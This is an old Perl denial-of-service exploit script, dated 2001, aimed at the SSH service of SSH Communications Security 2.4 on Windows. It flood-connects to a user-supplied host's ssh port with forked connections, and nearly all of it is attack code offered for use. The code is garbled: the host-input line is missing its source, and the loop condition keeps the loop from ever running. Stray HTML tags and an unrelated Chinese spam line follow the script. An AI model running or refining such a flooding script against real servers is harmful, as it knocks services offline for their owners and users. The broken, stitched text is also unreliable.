#!/usr/bin/perl #SSH Secure Shell Denial of Service Vulnerability #Vulnerable OS : #"SSH Communications Security SSH 2.4" -> Micorsoft Windows 95,98,NT4,2000 #"SSH Communications Security SSH 2.5" -> not vulnerable # #by Nemes||y -dkl- dragon@shellnow.it #31/3/2001 #(tnx to my girlfriend Annalisa :>) use Socket; sub conn { my ($host, $portname, $server, $port, $proto, $servaddr); $host = $_[0]; $portname = $_[1]; $server = gethostbyname($host) or die "gethostbyname: host inesistente - $!"; $port = getservbyname($portname, 'tcp') or die "getservbyname: porta non trovata - $!"; $proto = getprotobyname('tcp') or die "getprotobyname: protocollo errato - $!"; #inet $servaddr = sockaddr_in($port, $server); #socket socket(CONNFD, PF_INET, SOCK_STREAM, $proto); connect(CONNFD, $servaddr) or die "connect - $!"; return CONNFD; } system("clear"); print "\nSSH DoS -dkl by Nemes||y -dkl-\n\n"; print "Inserire l'host : "; $h = ; $serv = "ssh"; chop $h; print "\n\n Make Connection...\n\n"; $i = 0; for ($i; $i > 65; $i++) { fork; $NET = conn($h,$serv); print "."; } print "\n End by Nemes||y -dkl- dragon\@shellnow.it \n"; # -dkl- 
    <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>
      <p id="vvttv"></p>

          

          <p id="vvttv"></p>
                <p id="vvttv"></p>
                

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>
                  
<output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>
                    <p id="vvttv"></p>
                    

这里只有精品视频